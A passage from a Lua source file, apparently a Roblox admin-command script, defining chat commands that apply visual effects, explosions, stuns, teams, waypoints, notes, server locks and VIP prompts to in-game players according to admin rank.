7624 local Players = STRING:Scan(Arguments[1], Speaker)
7625 for _,Player in pairs(Players) do
7626 if Player.Character and Player.Character:FindFirstChild("Torso") then
7627 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7628 end
7629 end
7630 end};
7631
7632 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7633 local Players = STRING:Scan(Arguments[1], Speaker)
7634 for _,Player in pairs(Players) do
7635 if Player.Character and Player.Character:FindFirstChild("Torso") then
7636 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7637 end
7638 end
7639 end};
7640
7641 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7642 local Players = STRING:Scan(Arguments[1], Speaker)
7643 for _,Player in pairs(Players) do
7644 if Player.Character and Player.Character:FindFirstChild("Torso") then
7645 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7646 if Get:IsA("Sparkles") then
7647 Get:Destroy()
7648 end
7649 end
7650 end
7651 end
7652 end};
7653
7654 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7655 local Players = STRING:Scan(Arguments[1], Speaker)
7656 for _,Player in pairs(Players) do
7657 if Player.Character and Player.Character:FindFirstChild("Torso") then
7658 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7659 if Get:IsA("Fire") then
7660 Get:Destroy()
7661 end
7662 end
7663 end
7664 end
7665 end};
7666
7667 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7668 local Players = STRING:Scan(Arguments[1], Speaker)
7669 for _,Player in pairs(Players) do
7670 if Player.Character and Player.Character:FindFirstChild("Torso") then
7671 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7672 if Get:IsA("Smoke") then
7673 Get:Destroy()
7674 end
7675 end
7676 end
7677 end
7678 end};
7679
7680 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7681 local Players = STRING:Scan(Arguments[1], Speaker)
7682 for _,Player in pairs(Players) do
7683 if Player.Character and Player.Character:FindFirstChild("Torso") then
7684 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7685 local Boom = Instance.new("Explosion", Workspace)
7686 Boom.Position = Player.Character.Torso.Position
7687 end
7688 end
7689 end};
7690
7691 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7692 local Players = STRING:Scan(Arguments[1], Speaker)
7693 for _,Player in pairs(Players) do
7694 if Player.Character and Player.Character:FindFirstChild("Torso") then
7695 coroutine.wrap(function() for i = 1,50 do
7696 local Boom = Instance.new("Explosion", Workspace)
7697 Boom.Position = Player.Character.Torso.Position
7698 wait()
7699 end end)()
7700 coroutine.wrap(function() for i = 1,5 do
7701 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7702 end end)()
7703 end
7704 end
7705 end};
7706
7707 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7708 local Players = STRING:Scan(Arguments[1], Speaker)
7709 for _,Player in pairs(Players) do
7710 if Player.Character and Player.Character:FindFirstChild("Torso") then
7711 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7712 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7713 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7714 end
7715 end
7716 end};
7717
7718 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7719 local Players = STRING:Scan(Arguments[1], Speaker)
7720 for _,Player in pairs(Players) do
7721 if Player.Character and Player.Character:FindFirstChild("Torso") then
7722 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7723 end
7724 end
7725 end};
7726
7727 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7728 local Players = STRING:Scan(Arguments[1], Speaker)
7729 for _,Player in pairs(Players) do
7730 if Player.Character then
7731 Player.Character.Parent = Server.Lighting
7732 end
7733 end
7734 end};
7735
7736 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7737 local Players = STRING:Scan(Arguments[1], Speaker)
7738 for _,Player in pairs(Players) do
7739 if Player.Character then
7740 Player.Character.Parent = Server.Workspace
7741 Player.Character:MakeJoints()
7742 end
7743 end
7744 end};
7745
7746 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7747 local Players = STRING:Scan(Arguments[1], Speaker)
7748 for _,Player in pairs(Players) do
7749 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7750 Player.Character.Humanoid.PlatformStand = true
7751 end
7752 end
7753 end};
7754
7755 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7756 local Players = STRING:Scan(Arguments[1], Speaker)
7757 for _,Player in pairs(Players) do
7758 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7759 Player.Character.Humanoid.PlatformStand = false
7760 end
7761 end
7762 end};
7763
7764 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7765 local Players = STRING:Scan(Arguments[1], Speaker)
7766 for _,Player in pairs(Players) do
7767 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7768 Player.Character.Humanoid.Jump = true
7769 end
7770 end
7771 end};
7772
7773 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7774 local Players = STRING:Scan(Arguments[1], Speaker)
7775 for _,Player in pairs(Players) do
7776 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7777 Player.Character.Humanoid.Sit = true
7778 end
7779 end
7780 end};
7781
7782 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7783 local Players = STRING:Scan(Arguments[1], Speaker)
7784 for _,Player in pairs(Players) do
7785 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7786 Player.Character.Humanoid.Sit = false
7787 end
7788 end
7789 end};
7790
7791 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7792 local Players = STRING:Scan(Arguments[1], Speaker)
7793 for _,Player in pairs(Players) do
7794 if Player.Character and Player.Character:FindFirstChild("Torso") then
7795 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7796 end
7797 end
7798 end};
7799
7800 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7801 local Players = STRING:Scan(Arguments[1], Speaker)
7802 for _,Player in pairs(Players) do
7803 if Player.Character and Player.Character:FindFirstChild("Torso") then
7804 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7805 end
7806 end
7807 end};
7808
7809 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7810 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7811 end};
7812
7813 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7814 local Color = "Blue"
7815 local String = Arguments[2]
7816 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7817 if #ChatSplit >= 2 then
7818 if string.lower(ChatSplit[1]) == "green" then
7819 Color = "Green"
7820 String = ChatSplit[2]
7821 elseif string.lower(ChatSplit[1]) == "red" then
7822 Color = "Red"
7823 String = ChatSplit[2]
7824 end
7825 end
7826 local Players = STRING:Scan(Arguments[1], Speaker)
7827 for _,Player in pairs(Players) do
7828 if Player.Character and Player.Character:FindFirstChild("Head") then
7829 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7830 end
7831 end
7832 end};
7833
7834 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7835 local Players = STRING:Scan(Arguments[1], Speaker)
7836 for _,Player in pairs(Players) do
7837 if Player.Character then
7838 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7839 end
7840 end
7841 end};
7842
7843 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7844 local Players = STRING:Scan(Arguments[1], Speaker)
7845 local ID = nil
7846 if tonumber(Arguments[2]) ~= nil then
7847 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7848 else
7849 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7850 for _,Face in pairs(FaceTable) do
7851 if string.lower(Arguments[2]) == string.lower(Face) then
7852 ID = FaceID
7853 break
7854 end
7855 end
7856 end
7857 end
7858 if ID then
7859 for _,Player in pairs(Players) do
7860 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7861 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7862 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7863 end
7864 end
7865 end
7866 end};
7867
7868 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7869 local Players = STRING:Scan(Arguments[1], Speaker)
7870 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7871 for _,Player in pairs(Players) do
7872 if Player.Character and Player.Character:FindFirstChild("Head") then
7873 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7874 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7875 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7876 end
7877 end
7878 end};
7879
7880 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7881 local Players = STRING:Scan(Arguments[1], Speaker)
7882 for _,Player in pairs(Players) do
7883 if Player.Character and Player.Character:FindFirstChild("Head") then
7884 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7885 end
7886 end
7887 end};
7888
7889 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7890 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7891 end, Http = true};
7892
7893 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7894 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7895 end, Http = true};
7896
7897 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7898 local Players = STRING:Scan(Arguments[1], Speaker)
7899 for _,Player in pairs(Players) do
7900 local ExistingData = Player:LoadInstance("Data")
7901 if ExistingData == nil then
7902 ExistingData = Instance.new("Configuration")
7903 end
7904 ExistingData.Name = "Player Data"
7905 local Key = Instance.new("Configuration", ExistingData)
7906 Key.Name = Arguments[2]
7907 Player:SaveInstance("Data", ExistingData)
7908 end
7909 end};
7910
7911 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7912 local Players = STRING:Scan(Arguments[1], Speaker)
7913 local Data = Arguments[2]
7914 for _,Player in pairs(Players) do
7915 local ExistingData = Player:LoadInstance("Data")
7916 if ExistingData ~= nil then
7917 if string.lower(Data) == "all" then
7918 ExistingData:ClearAllChildren()
7919 else
7920 for _,DataObj in pairs(ExistingData:GetChildren()) do
7921 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7922 DataObj:Destroy()
7923 end
7924 end
7925 end
7926 end
7927 Player:SaveInstance("Data", ExistingData)
7928 end
7929 end};
7930
7931 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7932 local Players = STRING:Scan(Arguments[1], Speaker)
7933 local DataSet = {}
7934 for _,Player in pairs(Players) do
7935 local ExistingData = Player:LoadInstance("Data")
7936 if ExistingData ~= nil then
7937 if #ExistingData:GetChildren() ~= 0 then
7938 for _,Data in pairs(ExistingData:GetChildren()) do
7939 table.insert(DataSet, Player.Name..": "..Data.Name)
7940 end
7941 else
7942 table.insert(DataSet, "Data does not exist for "..Player.Name)
7943 end
7944 else
7945 table.insert(DataSet, "Data does not exist for "..Player.Name)
7946 end
7947 end
7948 GUI:ListGui(Speaker, "Notes", DataSet)
7949 end};
7950
7951 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7952 local Players = STRING:Scan(Arguments[1], Speaker)
7953 for _,Player in pairs(Players) do
7954 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7955 Player.Character.Humanoid.WalkSpeed = 16
7956 end
7957 end
7958 end};
7959
7960 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7961 local Players = STRING:Scan(Arguments[1], Speaker)
7962 for _,Player in pairs(Players) do
7963 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7964 Player.Character.Humanoid.WalkSpeed = -16
7965 end
7966 end
7967 end};
7968
7969 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7970 local TeamColor = BrickColor.random()
7971 local TeamName = Arguments[1]
7972 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7973 if #TeamNameSplit >= 2 then
7974 local Color = TeamNameSplit[1]
7975 local NewTeamName = TeamNameSplit[2]
7976 if Color == "Medium stone grey" then
7977 TeamColor = BrickColor.new(Color)
7978 TeamName = NewTeamName
7979 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7980 TeamColor = BrickColor.new(Color)
7981 TeamName = NewTeamName
7982 elseif Colors[string.upper(Color)] then
7983 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7984 TeamName = NewTeamName
7985 end
7986 end
7987
7988 local NewTeam = Instance.new("Team", Server.Teams)
7989 NewTeam.TeamColor = TeamColor
7990 NewTeam.Name = TeamName
7991 end};
7992
7993 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7994 local Players = STRING:Scan(Arguments[1], Speaker)
7995 for _,Player in pairs(Players) do
7996 Player.Neutral = true
7997 end
7998 end};
7999
8000 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8001 local Players = STRING:Scan(Arguments[1], Speaker)
8002 if string.lower(Arguments[2]) == "none" then
8003 for _,Player in pairs(Players) do
8004 Player.Neutral = true
8005 end
8006 else
8007 for _,Obj in pairs(Server.Teams:GetChildren()) do
8008 if Obj:IsA("Team") then
8009 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8010 for _,Player in pairs(Players) do
8011 Player.Neutral = false
8012 Player.TeamColor = Obj.TeamColor
8013 end
8014 end
8015 end
8016 end
8017 end
8018 end};
8019
8020 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8021 for _,Obj in pairs(Server.Teams:GetChildren()) do
8022 if Obj:IsA("Team") then
8023 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8024 for _,Player in pairs(Server.Players:GetPlayers()) do
8025 if Player.TeamColor == Obj.TeamColor then
8026 Player.Neutral = true
8027 end
8028 end
8029 Obj:Destroy()
8030 end
8031 end
8032 end
8033 end};
8034
8035 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8036 for _,Player in pairs(Server.Players:GetPlayers()) do
8037 Player.Neutral = true
8038 end
8039 for _,Obj in pairs(Server.Teams:GetChildren()) do
8040 if Obj:IsA("Team") then
8041 Obj:Destroy()
8042 end
8043 end
8044 end};
8045
8046 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8047 for _,Player in pairs(Server.Players:GetPlayers()) do
8048 GUI:Countdown(Player, Arguments[1])
8049 end
8050 end};
8051
8052 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8053 local Players = STRING:Scan(Arguments[1], Speaker)
8054 for _,Player in pairs(Players) do
8055 if Player:FindFirstChild("Backpack") then
8056 CORE:ExecuteResource("ShowAd", Player.Backpack)
8057 end
8058 end
8059 end};
8060
8061 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8062 local Players = STRING:Scan(Arguments[1], Speaker)
8063 for _,Player in pairs(Players) do
8064 if Player.Character then
8065 for PosName,WP in pairs(Waypoints) do
8066 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8067 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8068 break
8069 end
8070 end
8071 end
8072 end
8073 end};
8074
8075 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8076 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8077 end};
8078
8079 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8080 local Num = 0
8081 for PosName,WP in pairs(Waypoints) do
8082 Num = Num + 1
8083 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8084 Waypoints[PosName] = nil
8085 end
8086 end
8087 end};
8088
8089 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8090 local WaypointHolder,WaypointRaw = {},{}
8091 for Name, WP in pairs(Waypoints) do
8092 local View = Name..": "..tostring(WP)
8093 table.insert(WaypointHolder, View)
8094 WaypointRaw[View] = WP
8095 end
8096 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8097 Clicked.Event:connect(function(Text)
8098 local Waypoint = WaypointRaw[Text]
8099 if Waypoint then
8100 if Speaker.Character then
8101 Speaker.Character:MoveTo(Waypoint)
8102 end
8103 end
8104 end)
8105 end};
8106
8107 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8108 local Players = STRING:Scan(Arguments[1], Speaker)
8109 local List = {}
8110 for _,Player in pairs(Players) do
8111 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8112 end
8113 GUI:ListGui(Speaker, "Listed Players", List)
8114 end};
8115
8116 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8117 if tonumber(Arguments[1]) then
8118 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8119 else
8120 local Players = STRING:Scan(Arguments[1], Speaker)
8121 for _,Player in pairs(Players) do
8122 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8123 end
8124 end
8125 end};
8126
8127 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8128 local Players = STRING:Scan(Arguments[1], Speaker)
8129 local Friends,OneFriend = {}, false
8130 for _,Player in pairs(Players) do
8131 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8132 --[[if Player:IsBestFriendsWith(User.UserId) then
8133 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8134 OneFriend = true
8135 ]]
8136 if Player:IsFriendsWith(User.UserId) then
8137 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8138 OneFriend = true
8139 end
8140 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8141 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8142 end
8143 end end
8144 end
8145 GUI:ListGui(Speaker, "Friend List", Friends)
8146 end};
8147
8148 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8149 Settings.ServerLocked = true
8150 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8151 end};
8152
8153 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8154 Settings.ServerLocked = false
8155 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8156 end};
8157
8158 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8159 local OldAge = Settings.MinimumAge
8160 local Age = tostring(Arguments[1])
8161 if Age then
8162 Settings.MinimumAge = Age
8163 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8164 end
8165 end};
8166
8167 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8168 if Settings.VIPAdminID <= 1 then
8169 MARKET:PromptPurchase(Speaker, VIPAdminID)
8170 else
8171 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8172 end
8173 end};
8174
8175 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8176 if Settings.VIPMemberID <= 1 then
8177 MARKET:PromptPurchase(Speaker, VIPMemberID)
8178 else
8179 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8180 end
8181 end};
8182
8183 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8184 if tonumber(Arguments[2]) then
8185 local Players = STRING:Scan(Arguments[1], Speaker)
8186 local Size = tonumber(Arguments[2])+25
8187 for _,Player in pairs(Players) do
8188 if Player.Character then
8189 if Player.Character:FindFirstChild("Head") then
8190 if Player.Character.Head:FindFirstChild("Mesh") then
8191 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8192 end
8193 end
8194 end
8195 end
8196 end
8197 end};
8198
8199 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8200 local Players = STRING:Scan(Arguments[1], Speaker)
8201 for _,Player in pairs(Players) do
8202 if Player.Character and Player.Character:FindFirstChild("Torso") then
8203 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8204 Player.Character.Parent = nil
8205 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8206 end
8207 end
8208 end};
8209
8210 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8211 GUI:SettingsGui(Speaker)
8212 end};
8213
8214 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8215 if tonumber(Arguments[2]) then
8216 local Players = STRING:Scan(Arguments[1], Speaker)
8217 local List = {}
8218 for _,Player in pairs(Players) do
8219 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8220 table.insert(List, Player.Name)
8221 end
8222 end
8223 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8224 end
8225 end};
8226
8227 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8228 local Players = STRING:Scan(Arguments[1], Speaker)
8229 for _,Player in pairs(Players) do
8230 if Player.Character and Player.Character:FindFirstChild("Head") then
8231 local Char = Player.Character
8232 Char:BreakJoints()
8233 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8234 Obj.Anchored = true
8235 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8236 local Decal = Instance.new("Decal", Obj)
8237 Decal.Texture = "rbxassetid://178913323"
8238 Decal.Face = Face
8239 end
8240 end)
8241 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8242 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8243 Sound1:Play() Sound2:Play()
8244 coroutine.wrap(function()
8245 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8246 repeat wait()
8247 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8248 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8249 Obj.Transparency = math.random(0,30)/100
8250 Obj.Reflectance = math.random(0,50)/100
8251 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8252 end)
8253 until Char ~= Player.Character or Char.Parent == nil
8254 end)()
8255 end
8256 end
8257 end, Hidden = true};
8258
8259 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8260 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8261 end, Http = true};
8262
8263 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8264 local Players = STRING:Scan(Arguments[1], Speaker)
8265 for _,Player in pairs(Players) do
8266 if Player.Character then
8267 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8268 Obj.Material = "Neon"
8269 end)
8270 end
8271 end
8272 end};
8273
8274 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8275 local Players = STRING:Scan(Arguments[1], Speaker)
8276 for _,Player in pairs(Players) do
8277 if Player.Character then
8278 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8279 Obj.Material = "Plastic"
8280 end)
8281 end
8282 end
8283 end};
8284
8285 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8286 local Players = STRING:Scan(Arguments[1], Speaker)
8287 for _,Player in pairs(Players) do
8288 if Player.Character then
8289 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8290 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8291 end)
8292 end
8293 end
8294 end, Hidden = true};
8295
8296 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
